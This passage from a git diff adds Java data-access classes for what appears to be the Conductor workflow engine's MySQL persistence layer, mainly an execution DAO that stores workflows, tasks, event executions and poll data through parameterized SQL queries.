(Query q = new Query(objectMapper, tx, query)) { + function.apply(q); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Instantiates a new transactional connection and invokes {@link #execute(Connection, String, + * ExecuteFunction)} + * + * @param query The query string to prepare. + * @param function The functional callback to pass a {@link Query} to. + */ + protected void executeWithTransaction(String query, ExecuteFunction function) { + withTransaction(tx -> execute(tx, query, function)); + } +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLExecutionDAO.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLExecutionDAO.java new file mode 100644 index 0000000..ff67d7d --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLExecutionDAO.java @@ -0,0 +1,1086 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.dao; + +import java.sql.Connection; +import java.sql.SQLException; +import java.text.SimpleDateFormat; +import java.util.*; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.dao.ConcurrentExecutionLimitDAO; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.PollDataDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.dao.RateLimitingDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.mysql.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.annotations.VisibleForTesting; +import com.google.common.base.Preconditions; +import com.google.common.collect.Lists; + +public class MySQLExecutionDAO extends MySQLBaseDAO + implements ExecutionDAO, RateLimitingDAO, PollDataDAO, ConcurrentExecutionLimitDAO { + + private final QueueDAO queueDAO; + + public MySQLExecutionDAO( + RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + QueueDAO queueDAO) { + super(retryTemplate, objectMapper, dataSource); + this.queueDAO = queueDAO; + } + + private static String dateStr(Long timeInMs) { + Date date = new Date(timeInMs); + return dateStr(date); + } + + private static String dateStr(Date date) { + SimpleDateFormat format = new SimpleDateFormat("yyyyMMdd"); + return format.format(date); + } + + @Override + public List getPendingTasksByWorkflow(String taskDefName, String workflowId) { + // @formatter:off + String GET_IN_PROGRESS_TASKS_FOR_WORKFLOW = + "SELECT json_data FROM task_in_progress tip " + + "INNER JOIN task t ON t.task_id = tip.task_id " + + "WHERE task_def_name = ? AND workflow_id = ?"; + // @formatter:on + + return queryWithTransaction( + GET_IN_PROGRESS_TASKS_FOR_WORKFLOW, + q -> + q.addParameter(taskDefName) + .addParameter(workflowId) + .executeAndFetch(TaskModel.class)); + } + + @Override + public List getTasks(String taskDefName, String startKey, int count) { + List tasks = new ArrayList<>(count); + + List pendingTasks = getPendingTasksForTaskType(taskDefName); + boolean startKeyFound = startKey == null; + int found = 0; + for (TaskModel pendingTask : pendingTasks) { + if (!startKeyFound) { + if (pendingTask.getTaskId().equals(startKey)) { + startKeyFound = true; + // noinspection ConstantConditions + if (startKey != null) { + continue; + } + } + } + if (startKeyFound && found < count) { + tasks.add(pendingTask); + found++; + } + } + + return tasks; + } + + private static String taskKey(TaskModel task) { + return task.getReferenceTaskName() + "_" + task.getRetryCount(); + } + + @Override + public List createTasks(List tasks) { + List created = Lists.newArrayListWithCapacity(tasks.size()); + + withTransaction( + connection -> { + for (TaskModel task : tasks) { + validate(task); + + task.setScheduledTime(System.currentTimeMillis()); + + final String taskKey = taskKey(task); + + boolean scheduledTaskAdded = addScheduledTask(connection, task, taskKey); + + if (!scheduledTaskAdded) { + logger.trace( + "Task already scheduled, skipping the run " + + task.getTaskId() + + ", ref=" + + task.getReferenceTaskName() + + ", key=" + + taskKey); + continue; + } + + insertOrUpdateTaskData(connection, task); + addWorkflowToTaskMapping(connection, task); + addTaskInProgress(connection, task); + updateTask(connection, task); + + created.add(task); + } + }); + + return created; + } + + @Override + public void updateTask(TaskModel task) { + withTransaction(connection -> updateTask(connection, task)); + Optional taskDefinition = task.getTaskDefinition(); + if (taskDefinition.isPresent() + && taskDefinition.get().concurrencyLimit() > 0 + && task.getStatus() != null + && task.getStatus().isTerminal()) { + String queueName = QueueUtils.getQueueName(task); + List nextIds = queueDAO.peekFirstIds(queueName, 1); + if (nextIds != null && !nextIds.isEmpty()) { + logger.debug( + "Concurrency slot freed for {}, releasing postponed task {}", + task.getTaskDefName(), + nextIds.get(0)); + queueDAO.resetOffsetTime(queueName, nextIds.get(0)); + } + } + } + + /** + * This is a dummy implementation and this feature is not for Mysql backed Conductor + * + * @param task: which needs to be evaluated whether it is rateLimited or not + */ + @Override + public boolean exceedsRateLimitPerFrequency(TaskModel task, TaskDef taskDef) { + return false; + } + + @Override + public boolean exceedsLimit(TaskModel task) { + + Optional taskDefinition = task.getTaskDefinition(); + if (taskDefinition.isEmpty()) { + return false; + } + + TaskDef taskDef = taskDefinition.get(); + + int limit = taskDef.concurrencyLimit(); + if (limit <= 0) { + return false; + } + + long current = getInProgressTaskCount(task.getTaskDefName()); + + if (current >= limit) { + Monitors.recordTaskConcurrentExecutionLimited(task.getTaskDefName(), limit); + return true; + } + + logger.info( + "Task execution count for {}: limit={}, current={}", + task.getTaskDefName(), + limit, + getInProgressTaskCount(task.getTaskDefName())); + + String taskId = task.getTaskId(); + + List tasksInProgressInOrderOfArrival = + findAllTasksInProgressInOrderOfArrival(task, limit); + + boolean rateLimited = !tasksInProgressInOrderOfArrival.contains(taskId); + + if (rateLimited) { + logger.info( + "Task execution count limited. {}, limit {}, current {}", + task.getTaskDefName(), + limit, + getInProgressTaskCount(task.getTaskDefName())); + Monitors.recordTaskConcurrentExecutionLimited(task.getTaskDefName(), limit); + } + + return rateLimited; + } + + @Override + public boolean removeTask(String taskId) { + TaskModel task = getTask(taskId); + + if (task == null) { + logger.warn("No such task found by id {}", taskId); + return false; + } + + final String taskKey = taskKey(task); + + withTransaction( + connection -> { + removeScheduledTask(connection, task, taskKey); + removeWorkflowToTaskMapping(connection, task); + removeTaskInProgress(connection, task); + removeTaskData(connection, task); + }); + return true; + } + + @Override + public TaskModel getTask(String taskId) { + String GET_TASK = "SELECT json_data FROM task WHERE task_id = ?"; + return queryWithTransaction( + GET_TASK, q -> q.addParameter(taskId).executeAndFetchFirst(TaskModel.class)); + } + + @Override + public List getTasks(List taskIds) { + if (taskIds.isEmpty()) { + return Lists.newArrayList(); + } + return getWithRetriedTransactions(c -> getTasks(c, taskIds)); + } + + @Override + public List getPendingTasksForTaskType(String taskName) { + Preconditions.checkNotNull(taskName, "task name cannot be null"); + // @formatter:off + String GET_IN_PROGRESS_TASKS_FOR_TYPE = + "SELECT json_data FROM task_in_progress tip " + + "INNER JOIN task t ON t.task_id = tip.task_id " + + "WHERE task_def_name = ?"; + // @formatter:on + + return queryWithTransaction( + GET_IN_PROGRESS_TASKS_FOR_TYPE, + q -> q.addParameter(taskName).executeAndFetch(TaskModel.class)); + } + + @Override + public List getTasksForWorkflow(String workflowId) { + String GET_TASKS_FOR_WORKFLOW = + "SELECT task_id FROM workflow_to_task WHERE workflow_id = ?"; + return getWithRetriedTransactions( + tx -> + query( + tx, + GET_TASKS_FOR_WORKFLOW, + q -> { + List taskIds = + q.addParameter(workflowId) + .executeScalarList(String.class); + return getTasks(tx, taskIds); + })); + } + + @Override + public String createWorkflow(WorkflowModel workflow) { + return insertOrUpdateWorkflow(workflow, false); + } + + @Override + public String updateWorkflow(WorkflowModel workflow) { + return insertOrUpdateWorkflow(workflow, true); + } + + @Override + public boolean removeWorkflow(String workflowId) { + boolean removed = false; + WorkflowModel workflow = getWorkflow(workflowId, true); + if (workflow != null) { + withTransaction( + connection -> { + removeWorkflowDefToWorkflowMapping(connection, workflow); + removeWorkflow(connection, workflowId); + removePendingWorkflow(connection, workflow.getWorkflowName(), workflowId); + }); + removed = true; + + for (TaskModel task : workflow.getTasks()) { + if (!removeTask(task.getTaskId())) { + removed = false; + } + } + } + return removed; + } + + /** + * This is a dummy implementation and this feature is not supported for MySQL backed Conductor + */ + @Override + public boolean removeWorkflowWithExpiry(String workflowId, int ttlSeconds) { + throw new UnsupportedOperationException( + "This method is not implemented in MySQLExecutionDAO. Please use RedisDAO mode instead for using TTLs."); + } + + @Override + public void removeFromPendingWorkflow(String workflowType, String workflowId) { + withTransaction(connection -> removePendingWorkflow(connection, workflowType, workflowId)); + } + + @Override + public WorkflowModel getWorkflow(String workflowId) { + return getWorkflow(workflowId, true); + } + + @Override + public WorkflowModel getWorkflow(String workflowId, boolean includeTasks) { + WorkflowModel workflow = getWithRetriedTransactions(tx -> readWorkflow(tx, workflowId)); + + if (workflow != null) { + if (includeTasks) { + List tasks = getTasksForWorkflow(workflowId); + tasks.sort(Comparator.comparingInt(TaskModel::getSeq)); + workflow.setTasks(tasks); + } + } + return workflow; + } + + /** + * @param workflowName name of the workflow + * @param version the workflow version + * @return list of workflow ids that are in RUNNING state returns workflows of all versions + * for the given workflow name + */ + @Override + public List getRunningWorkflowIds(String workflowName, int version) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + String GET_PENDING_WORKFLOW_IDS = + "SELECT workflow_id FROM workflow_pending WHERE workflow_type = ?"; + + return queryWithTransaction( + GET_PENDING_WORKFLOW_IDS, + q -> q.addParameter(workflowName).executeScalarList(String.class)); + } + + /** + * @param workflowName Name of the workflow + * @param version the workflow version + * @return list of workflows that are in RUNNING state + */ + @Override + public List getPendingWorkflowsByType(String workflowName, int version) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + return getRunningWorkflowIds(workflowName, version).stream() + .map(this::getWorkflow) + .filter(workflow -> workflow.getWorkflowVersion() == version) + .collect(Collectors.toList()); + } + + @Override + public long getPendingWorkflowCount(String workflowName) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + String GET_PENDING_WORKFLOW_COUNT = + "SELECT COUNT(*) FROM workflow_pending WHERE workflow_type = ?"; + + return queryWithTransaction( + GET_PENDING_WORKFLOW_COUNT, q -> q.addParameter(workflowName).executeCount()); + } + + @Override + public long getInProgressTaskCount(String taskDefName) { + String GET_IN_PROGRESS_TASK_COUNT = + "SELECT COUNT(*) FROM task_in_progress WHERE task_def_name = ? AND in_progress_status = true"; + + return queryWithTransaction( + GET_IN_PROGRESS_TASK_COUNT, q -> q.addParameter(taskDefName).executeCount()); + } + + @Override + public List getWorkflowsByType( + String workflowName, Long startTime, Long endTime) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + Preconditions.checkNotNull(startTime, "startTime cannot be null"); + Preconditions.checkNotNull(endTime, "endTime cannot be null"); + + List workflows = new LinkedList<>(); + + withTransaction( + tx -> { + // @formatter:off + String GET_ALL_WORKFLOWS_FOR_WORKFLOW_DEF = + "SELECT workflow_id FROM workflow_def_to_workflow " + + "WHERE workflow_def = ? AND date_str BETWEEN ? AND ?"; + // @formatter:on + + List workflowIds = + query( + tx, + GET_ALL_WORKFLOWS_FOR_WORKFLOW_DEF, + q -> + q.addParameter(workflowName) + .addParameter(dateStr(startTime)) + .addParameter(dateStr(endTime)) + .executeScalarList(String.class)); + workflowIds.forEach( + workflowId -> { + try { + WorkflowModel wf = getWorkflow(workflowId); + if (wf.getCreateTime() >= startTime + && wf.getCreateTime() <= endTime) { + workflows.add(wf); + } + } catch (Exception e) { + logger.error( + "Unable to load workflow id {} with name {}", + workflowId, + workflowName, + e); + } + }); + }); + + return workflows; + } + + @Override + public List getWorkflowsByCorrelationId( + String workflowName, String correlationId, boolean includeTasks) { + Preconditions.checkNotNull(correlationId, "correlationId cannot be null"); + String GET_WORKFLOWS_BY_CORRELATION_ID = + "SELECT w.json_data FROM workflow w left join workflow_def_to_workflow wd on w.workflow_id = wd.workflow_id WHERE w.correlation_id = ? and wd.workflow_def = ?"; + + return queryWithTransaction( + GET_WORKFLOWS_BY_CORRELATION_ID, + q -> + q.addParameter(correlationId) + .addParameter(workflowName) + .executeAndFetch(WorkflowModel.class)); + } + + @Override + public boolean canSearchAcrossWorkflows() { + return true; + } + + @Override + public boolean addEventExecution(EventExecution eventExecution) { + try { + return getWithRetriedTransactions(tx -> insertEventExecution(tx, eventExecution)); + } catch (Exception e) { + throw new NonTransientException( + "Unable to add event execution " + eventExecution.getId(), e); + } + } + + @Override + public void removeEventExecution(EventExecution eventExecution) { + try { + withTransaction(tx -> removeEventExecution(tx, eventExecution)); + } catch (Exception e) { + throw new NonTransientException( + "Unable to remove event execution " + eventExecution.getId(), e); + } + } + + @Override + public void updateEventExecution(EventExecution eventExecution) { + try { + withTransaction(tx -> updateEventExecution(tx, eventExecution)); + } catch (Exception e) { + throw new NonTransientException( + "Unable to update event execution " + eventExecution.getId(), e); + } + } + + public List getEventExecutions( + String eventHandlerName, String eventName, String messageId, int max) { + try { + List executions = Lists.newLinkedList(); + withTransaction( + tx -> { + for (int i = 0; i < max; i++) { + String executionId = + messageId + "_" + + i; // see SimpleEventProcessor.handle to understand + // how the + // execution id is set + EventExecution ee = + readEventExecution( + tx, + eventHandlerName, + eventName, + messageId, + executionId); + if (ee == null) { + break; + } + executions.add(ee); + } + }); + return executions; + } catch (Exception e) { + String message = + String.format( + "Unable to get event executions for eventHandlerName=%s, eventName=%s, messageId=%s", + eventHandlerName, eventName, messageId); + throw new NonTransientException(message, e); + } + } + + @Override + public void updateLastPollData(String taskDefName, String domain, String workerId) { + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + PollData pollData = new PollData(taskDefName, domain, workerId, System.currentTimeMillis()); + String effectiveDomain = (domain == null) ? "DEFAULT" : domain; + withTransaction(tx -> insertOrUpdatePollData(tx, pollData, effectiveDomain)); + } + + @Override + public PollData getPollData(String taskDefName, String domain) { + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + String effectiveDomain = (domain == null) ? "DEFAULT" : domain; + return getWithRetriedTransactions(tx -> readPollData(tx, taskDefName, effectiveDomain)); + } + + @Override + public List getPollData(String taskDefName) { + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + return readAllPollData(taskDefName); + } + + @Override + public List getAllPollData() { + try (Connection tx = dataSource.getConnection()) { + boolean previousAutoCommitMode = tx.getAutoCommit(); + tx.setAutoCommit(true); + try { + String GET_ALL_POLL_DATA = "SELECT json_data FROM poll_data ORDER BY queue_name"; + return query(tx, GET_ALL_POLL_DATA, q -> q.executeAndFetch(PollData.class)); + } catch (Throwable th) { + throw new NonTransientException(th.getMessage(), th); + } finally { + tx.setAutoCommit(previousAutoCommitMode); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + private List getTasks(Connection connection, List taskIds) { + if (taskIds.isEmpty()) { + return Lists.newArrayList(); + } + + // Generate a formatted query string with a variable number of bind params based + // on taskIds.size() + final String GET_TASKS_FOR_IDS = + String.format( + "SELECT json_data FROM task WHERE task_id IN (%s) AND json_data IS NOT NULL", + Query.generateInBindings(taskIds.size())); + + return query( + connection, + GET_TASKS_FOR_IDS, + q -> q.addParameters(taskIds).executeAndFetch(TaskModel.class)); + } + + private String insertOrUpdateWorkflow(WorkflowModel workflow, boolean update) { + Preconditions.checkNotNull(workflow, "workflow object cannot be null"); + + boolean terminal = workflow.getStatus().isTerminal(); + + List tasks = workflow.getTasks(); + workflow.setTasks(Lists.newLinkedList()); + + withTransaction( + tx -> { + if (!update) { + addWorkflow(tx, workflow); + addWorkflowDefToWorkflowMapping(tx, workflow); + } else { + updateWorkflow(tx, workflow); + } + + if (terminal) { + removePendingWorkflow( + tx, workflow.getWorkflowName(), workflow.getWorkflowId()); + } else { + addPendingWorkflow( + tx, workflow.getWorkflowName(), workflow.getWorkflowId()); + } + }); + + workflow.setTasks(tasks); + return workflow.getWorkflowId(); + } + + private void updateTask(Connection connection, TaskModel task) { + Optional taskDefinition = task.getTaskDefinition(); + + if (taskDefinition.isPresent() && taskDefinition.get().concurrencyLimit() > 0) { + boolean inProgress = + task.getStatus() != null + && task.getStatus().equals(TaskModel.Status.IN_PROGRESS); + updateInProgressStatus(connection, task, inProgress); + } + + insertOrUpdateTaskData(connection, task); + + if (task.getStatus() != null && task.getStatus().isTerminal()) { + removeTaskInProgress(connection, task); + } + + addWorkflowToTaskMapping(connection, task); + } + + private WorkflowModel readWorkflow(Connection connection, String workflowId) { + String GET_WORKFLOW = "SELECT json_data FROM workflow WHERE workflow_id = ?"; + + return query( + connection, + GET_WORKFLOW, + q -> q.addParameter(workflowId).executeAndFetchFirst(WorkflowModel.class)); + } + + private void addWorkflow(Connection connection, WorkflowModel workflow) { + String INSERT_WORKFLOW = + "INSERT INTO workflow (workflow_id, correlation_id, json_data) VALUES (?, ?, ?)"; + + execute( + connection, + INSERT_WORKFLOW, + q -> + q.addParameter(workflow.getWorkflowId()) + .addParameter(workflow.getCorrelationId()) + .addJsonParameter(workflow) + .executeUpdate()); + } + + private void updateWorkflow(Connection connection, WorkflowModel workflow) { + String UPDATE_WORKFLOW = + "UPDATE workflow SET json_data = ?, modified_on = CURRENT_TIMESTAMP WHERE workflow_id = ?"; + + execute( + connection, + UPDATE_WORKFLOW, + q -> + q.addJsonParameter(workflow) + .addParameter(workflow.getWorkflowId()) + .executeUpdate()); + } + + private void removeWorkflow(Connection connection, String workflowId) { + String REMOVE_WORKFLOW = "DELETE FROM workflow WHERE workflow_id = ?"; + execute(connection, REMOVE_WORKFLOW, q -> q.addParameter(workflowId).executeDelete()); + } + + private void addPendingWorkflow(Connection connection, String workflowType, String workflowId) { + + String EXISTS_PENDING_WORKFLOW = + "SELECT EXISTS(SELECT 1 FROM workflow_pending WHERE workflow_type = ? AND workflow_id = ?)"; + + boolean exists = + query( + connection, + EXISTS_PENDING_WORKFLOW, + q -> q.addParameter(workflowType).addParameter(workflowId).exists()); + + if (!exists) { + String INSERT_PENDING_WORKFLOW = + "INSERT IGNORE INTO workflow_pending (workflow_type, workflow_id) VALUES (?, ?)"; + + execute( + connection, + INSERT_PENDING_WORKFLOW, + q -> q.addParameter(workflowType).addParameter(workflowId).executeUpdate()); + } + } + + private void removePendingWorkflow( + Connection connection, String workflowType, String workflowId) { + String REMOVE_PENDING_WORKFLOW = + "DELETE FROM workflow_pending WHERE workflow_type = ? AND workflow_id = ?"; + + execute( + connection, + REMOVE_PENDING_WORKFLOW, + q -> q.addParameter(workflowType).addParameter(workflowId).executeDelete()); + } + + private void insertOrUpdateTaskData(Connection connection, TaskModel task) { + /* + * Most times the row will be updated so let's try the update first. This used to be an 'INSERT/ON DUPLICATE KEY update' sql statement. The problem with that + * is that if we try the INSERT first, the sequence will be increased even if the ON DUPLICATE KEY happens. + */ + String UPDATE_TASK = + "UPDATE task SET json_data=?, modified_on=CURRENT_TIMESTAMP WHERE task_id=?"; + int rowsUpdated = + query( + connection, + UPDATE_TASK, + q -> + q.addJsonParameter(task) + .addParameter(task.getTaskId()) + .executeUpdate()); + + if (rowsUpdated == 0) { + String INSERT_TASK = + "INSERT INTO task (task_id, json_data, modified_on) VALUES (?, ?, CURRENT_TIMESTAMP) ON DUPLICATE KEY UPDATE json_data=VALUES(json_data), modified_on=VALUES(modified_on)"; + execute( + connection, + INSERT_TASK, + q -> q.addParameter(task.getTaskId()).addJsonParameter(task).executeUpdate()); + } + } + + private void removeTaskData(Connection connection, TaskModel task) { + String REMOVE_TASK = "DELETE FROM task WHERE task_id = ?"; + execute(connection, REMOVE_TASK, q -> q.addParameter(task.getTaskId()).executeDelete()); + } + + private void addWorkflowToTaskMapping(Connection connection, TaskModel task) { + + String EXISTS_WORKFLOW_TO_TASK = + "SELECT EXISTS(SELECT 1 FROM workflow_to_task WHERE workflow_id = ? AND task_id = ?)"; + + boolean exists = + query( + connection, + EXISTS_WORKFLOW_TO_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(task.getTaskId()) + .exists()); + + if (!exists) { + String INSERT_WORKFLOW_TO_TASK = + "INSERT IGNORE INTO workflow_to_task (workflow_id, task_id) VALUES (?, ?)"; + + execute( + connection, + INSERT_WORKFLOW_TO_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(task.getTaskId()) + .executeUpdate()); + } + } + + private void removeWorkflowToTaskMapping(Connection connection, TaskModel task) { + String REMOVE_WORKFLOW_TO_TASK = + "DELETE FROM workflow_to_task WHERE workflow_id = ? AND task_id = ?"; + + execute( + connection, + REMOVE_WORKFLOW_TO_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(task.getTaskId()) + .executeDelete()); + } + + private void addWorkflowDefToWorkflowMapping(Connection connection, WorkflowModel workflow) { + String INSERT_WORKFLOW_DEF_TO_WORKFLOW = + "INSERT INTO workflow_def_to_workflow (workflow_def, date_str, workflow_id) VALUES (?, ?, ?)"; + + execute( + connection, + INSERT_WORKFLOW_DEF_TO_WORKFLOW, + q -> + q.addParameter(workflow.getWorkflowName()) + .addParameter(dateStr(workflow.getCreateTime())) + .addParameter(workflow.getWorkflowId()) + .executeUpdate()); + } + + private void removeWorkflowDefToWorkflowMapping(Connection connection, WorkflowModel workflow) { + String REMOVE_WORKFLOW_DEF_TO_WORKFLOW = + "DELETE FROM workflow_def_to_workflow WHERE workflow_def = ? AND date_str = ? AND workflow_id = ?"; + + execute( + connection, + REMOVE_WORKFLOW_DEF_TO_WORKFLOW, + q -> + q.addParameter(workflow.getWorkflowName()) + .addParameter(dateStr(workflow.getCreateTime())) + .addParameter(workflow.getWorkflowId()) + .executeUpdate()); + } + + @VisibleForTesting + boolean addScheduledTask(Connection connection, TaskModel task, String taskKey) { + + final String EXISTS_SCHEDULED_TASK = + "SELECT EXISTS(SELECT 1 FROM task_scheduled where workflow_id = ? AND task_key = ?)"; + + boolean exists = + query( + connection, + EXISTS_SCHEDULED_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(taskKey) + .exists()); + + if (!exists) { + final String INSERT_IGNORE_SCHEDULED_TASK = + "INSERT IGNORE INTO task_scheduled (workflow_id, task_key, task_id) VALUES (?, ?, ?)"; + + int count = + query( + connection, + INSERT_IGNORE_SCHEDULED_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(taskKey) + .addParameter(task.getTaskId()) + .executeUpdate()); + return count > 0; + } else { + return false; + } + } + + private void removeScheduledTask(Connection connection, TaskModel task, String taskKey) { + String REMOVE_SCHEDULED_TASK = + "DELETE FROM task_scheduled WHERE workflow_id = ? AND task_key = ?"; + execute( + connection, + REMOVE_SCHEDULED_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(taskKey) + .executeDelete()); + } + + private void addTaskInProgress(Connection connection, TaskModel task) { + String EXISTS_IN_PROGRESS_TASK = + "SELECT EXISTS(SELECT 1 FROM task_in_progress WHERE task_def_name = ? AND task_id = ?)"; + + boolean exists = + query( + connection, + EXISTS_IN_PROGRESS_TASK, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .exists()); + + if (!exists) { + String INSERT_IN_PROGRESS_TASK = + "INSERT INTO task_in_progress (task_def_name, task_id, workflow_id) VALUES (?, ?, ?)"; + + execute( + connection, + INSERT_IN_PROGRESS_TASK, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .addParameter(task.getWorkflowInstanceId()) + .executeUpdate()); + } + } + + private void removeTaskInProgress(Connection connection, TaskModel task) { + String REMOVE_IN_PROGRESS_TASK = + "DELETE FROM task_in_progress WHERE task_def_name = ? AND task_id = ?"; + + execute( + connection, + REMOVE_IN_PROGRESS_TASK, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .executeUpdate()); + } + + private void updateInProgressStatus(Connection connection, TaskModel task, boolean inProgress) { + String UPDATE_IN_PROGRESS_TASK_STATUS = + "UPDATE task_in_progress SET in_progress_status = ?, modified_on = CURRENT_TIMESTAMP " + + "WHERE task_def_name = ? AND task_id = ?"; + + execute( + connection, + UPDATE_IN_PROGRESS_TASK_STATUS, + q -> + q.addParameter(inProgress) + .addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .executeUpdate()); + } + + private boolean insertEventExecution(Connection connection, EventExecution eventExecution) { + + String INSERT_EVENT_EXECUTION = + "INSERT INTO event_execution (event_handler_name, event_name, message_id, execution_id, json_data) " + + "VALUES (?, ?, ?, ?, ?)"; + int count = + query( + connection, + INSERT_EVENT_EXECUTION, + q -> + q.addParameter(eventExecution.getName()) + .addParameter(eventExecution.getEvent()) + .addParameter(eventExecution.getMessageId()) + .addParameter(eventExecution.getId()) + .addJsonParameter(eventExecution) + .executeUpdate()); + return count > 0; + } + + private void updateEventExecution(Connection connection, EventExecution eventExecution) { + // @formatter:off + String UPDATE_EVENT_EXECUTION = + "UPDATE event_execution SET " + + "json_data = ?, " + + "modified_on = CURRENT_TIMESTAMP " + + "WHERE event_handler_name = ? " + + "AND event_name = ? " + + "AND message_id = ? " + + "AND execution_id = ?"; + // @formatter:on + + execute( + connection, + UPDATE_EVENT_EXECUTION, + q -> + q.addJsonParameter(eventExecution) + .addParameter(eventExecution.getName()) + .addParameter(eventExecution.getEvent()) + .addParameter(eventExecution.getMessageId()) + .addParameter(eventExecution.getId()) + .executeUpdate()); + } + + private void removeEventExecution(Connection connection, EventExecution eventExecution) { + String REMOVE_EVENT_EXECUTION = + "DELETE FROM event_execution " + + "WHERE event_handler_name = ? " + + "AND event_name = ? " + + "AND message_id = ? " + + "AND execution_id = ?"; + + execute( + connection, + REMOVE_EVENT_EXECUTION, + q -> + q.addParameter(eventExecution.getName()) + .addParameter(eventExecution.getEvent()) + .addParameter(eventExecution.getMessageId()) + .addParameter(eventExecution.getId()) + .executeUpdate()); + } + + private EventExecution readEventExecution( + Connection connection, + String eventHandlerName, + String eventName, + String messageId, + String executionId) { + // @formatter:off + String GET_EVENT_EXECUTION = + "SELECT json_data FROM event_execution " + + "WHERE event_handler_name = ? " + + "AND event_name = ? " + + "AND message_id = ? " + + "AND execution_id = ?"; + // @formatter:on + return query( + connection, + GET_EVENT_EXECUTION, + q -> + q.addParameter(eventHandlerName) + .addParameter(eventName) + .addParameter(messageId) + .addParameter(executionId) + .executeAndFetchFirst(EventExecution.class)); + } + + private void insertOrUpdatePollData(Connection connection, PollData pollData, String domain) { + + /* + * Most times the row will be updated so let's try the update first. This used to be an 'INSERT/ON DUPLICATE KEY update' sql statement. The problem with that + * is that if we try the INSERT first, the sequence will be increased even if the ON DUPLICATE KEY happens. Since polling happens *a lot*, the sequence can increase + * dramatically even though it won't be used. + */ + String UPDATE_POLL_DATA = + "UPDATE poll_data SET json_data=?, modified_on=CURRENT_TIMESTAMP WHERE queue_name=? AND domain=?"; + int rowsUpdated = + query( + connection, + UPDATE_POLL_DATA, + q -> + q.addJsonParameter(pollData) + .addParameter(pollData.getQueueName()) + .addParameter(domain) + .executeUpdate()); + + if (rowsUpdated == 0) { + String INSERT_POLL_DATA = + "INSERT INTO poll_data (queue_name, domain, json_data, modified_on) VALUES (?, ?, ?, CURRENT_TIMESTAMP) ON DUPLICATE KEY UPDATE json_data=VALUES(json_data), modified_on=VALUES(modified_on)"; + execute( + connection, + INSERT_POLL_DATA, + q -> + q.addParameter(pollData.getQueueName()) + .addParameter(domain) + .addJsonParameter(pollData) + .executeUpdate()); + } + } + + private PollData readPollData(Connection connection, String queueName, String domain) { + String GET_POLL_DATA = + "SELECT json_data FROM poll_data WHERE queue_name = ? AND domain = ?"; + return query( + connection, + GET_POLL_DATA, + q -> + q.addParameter(queueName) + .addParameter(domain) + .executeAndFetchFirst(PollData.class)); + } + + private List readAllPollData(String queueName) { + String GET_ALL_POLL_DATA = "SELECT json_data FROM poll_data WHERE queue_name = ?"; + return queryWithTransaction( + GET_ALL_POLL_DATA, q -> q.addParameter(queueName).executeAndFetch(PollData.class)); + } + + private List findAllTasksInProgressInOrderOfArrival(TaskModel task, int limit) { + String GET_IN_PROGRESS_TASKS_WITH_LIMIT = + "SELECT task_id FROM task_in_progress WHERE task_def_name = ? ORDER BY created_on LIMIT ?"; + + return queryWithTransaction( + GET_IN_PROGRESS_TASKS_WITH_LIMIT, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(limit) + .executeScalarList(String.class)); + } + + private void validate(TaskModel task) { + Preconditions.checkNotNull(task, "task object cannot be null"); + Preconditions.checkNotNull(task.getTaskId(), "Task id cannot be null"); + Preconditions.checkNotNull( + task.getWorkflowInstanceId(), "Workflow instance id cannot be null"); + Preconditions.checkNotNull( + task.getReferenceTaskName(), "Task reference name cannot be null"); + } +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLMetadataDAO.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLMetadataDAO.java new file mode 100644 index 0000000..badfa51 --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLMetadataDAO.java @@ -0,0 +1,561 @@ +/* + * Copyright 2023 Conductor Authors. + *

